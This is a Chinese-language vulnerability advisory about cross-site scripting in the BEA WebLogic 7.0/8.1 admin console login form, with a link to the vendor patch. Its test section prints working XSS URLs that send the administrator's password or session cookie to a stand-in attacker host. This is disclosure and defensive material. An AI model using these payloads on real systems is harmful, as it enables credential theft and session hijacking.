发布日期：2005-05-30
更新日期：2005-05-30

受影响系统：

BEA Systems Weblogic Server 8.1
BEA Systems Weblogic Server 7.0

描述：

---

BUGTRAQ  ID: 13793

BEA Systems WebLogic包含多种应用系统集成方案，包括Server/Express/Integration等。管理控制台是基于web浏览器的图形用户界面，用于管理WebLogic Server域。

BEA WebLogic管理控制台登陆页面的j_username和j_password参数中存在跨站脚本漏洞，攻击者可以诱骗合法的Web应用程序向没有戒备的终端用户发送恶意代码，

通常是通过创建嵌入了恶意脚本代码的超级链接。有效用户很可能会点击这个链接，因为它看起来好像指向可信任域中的资源。如果用户点击了这个链接的话就可以执行攻击者所提供的代码，导致窃取管理员的会话cookie。

<*来源：Team SHATTER （shatter@appsecinc.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111722380313416&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

窃取管理员口令

http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.all.j_password.value)"

窃取会话cookie

http://vulnerablesite:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)" http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"

建议：

---

厂商补丁：

BEA Systems
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

ftp://ftpna.bea.com/pub/releases/security/CR202495_810sp4.jar
ftp://ftpna.bea.com/pub/releases/security/CR214457_700sp6.jar

浏览次数：3209
严重程度：0（网友投票）